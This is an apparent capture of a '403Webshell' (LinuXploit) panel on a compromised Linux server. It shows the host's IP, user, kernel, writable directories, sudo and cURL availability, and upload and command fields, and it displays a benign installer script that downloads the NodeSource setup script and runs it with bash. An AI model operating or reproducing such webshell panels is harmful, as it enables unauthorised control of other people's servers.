403Webshell
Server IP : 104.129.129.72  /  Your IP : 216.73.216.229
Web Server : LiteSpeed
System : Linux 123answers 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
User : answe8064 ( 1002)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/installer/services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/installer/services/nodejs-11-offirepo
#!/bin/bash

if [ -f "include/startup.sh" ]; then
    . include/startup.sh
elif [ -f "../include/startup.sh" ]; then
    . ../include/startup.sh
fi

rootDir=$(rootDir)

echo "Downloading Node.js repository" | log
curlDownload https://deb.nodesource.com/setup_11.x
waitOrStop 0 "Setup script not downloaded from official source"
bash setup_11.x | log
waitOrStop 0 "Failed to install application"

echo "Install Node.js" | log
apt-get install -y nodejs build-essential | log
checkPackageInstalled nodejs build-essential

echo "Copying files for testing" | log
cp $rootDir/tweaks/extras/nodejs/hello-world.js ~/
chmod 775 ~/hello-world.js

echo "Adding descriptions" | log
descriptionAppend "To test basic functionality, go to home folder"
descriptionAppend "# cd ~"
descriptionAppend " "
descriptionAppend "Run node with a basic test file which outputs Hello World"
descriptionAppend "# node hello-world.js &"
descriptionAppend " "
descriptionAppend "Access server with curl to see a respone"
descriptionAppend "# curl http://localhost:3000"
descriptionAppend " "

tag nodejs.success
tagScript success

exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit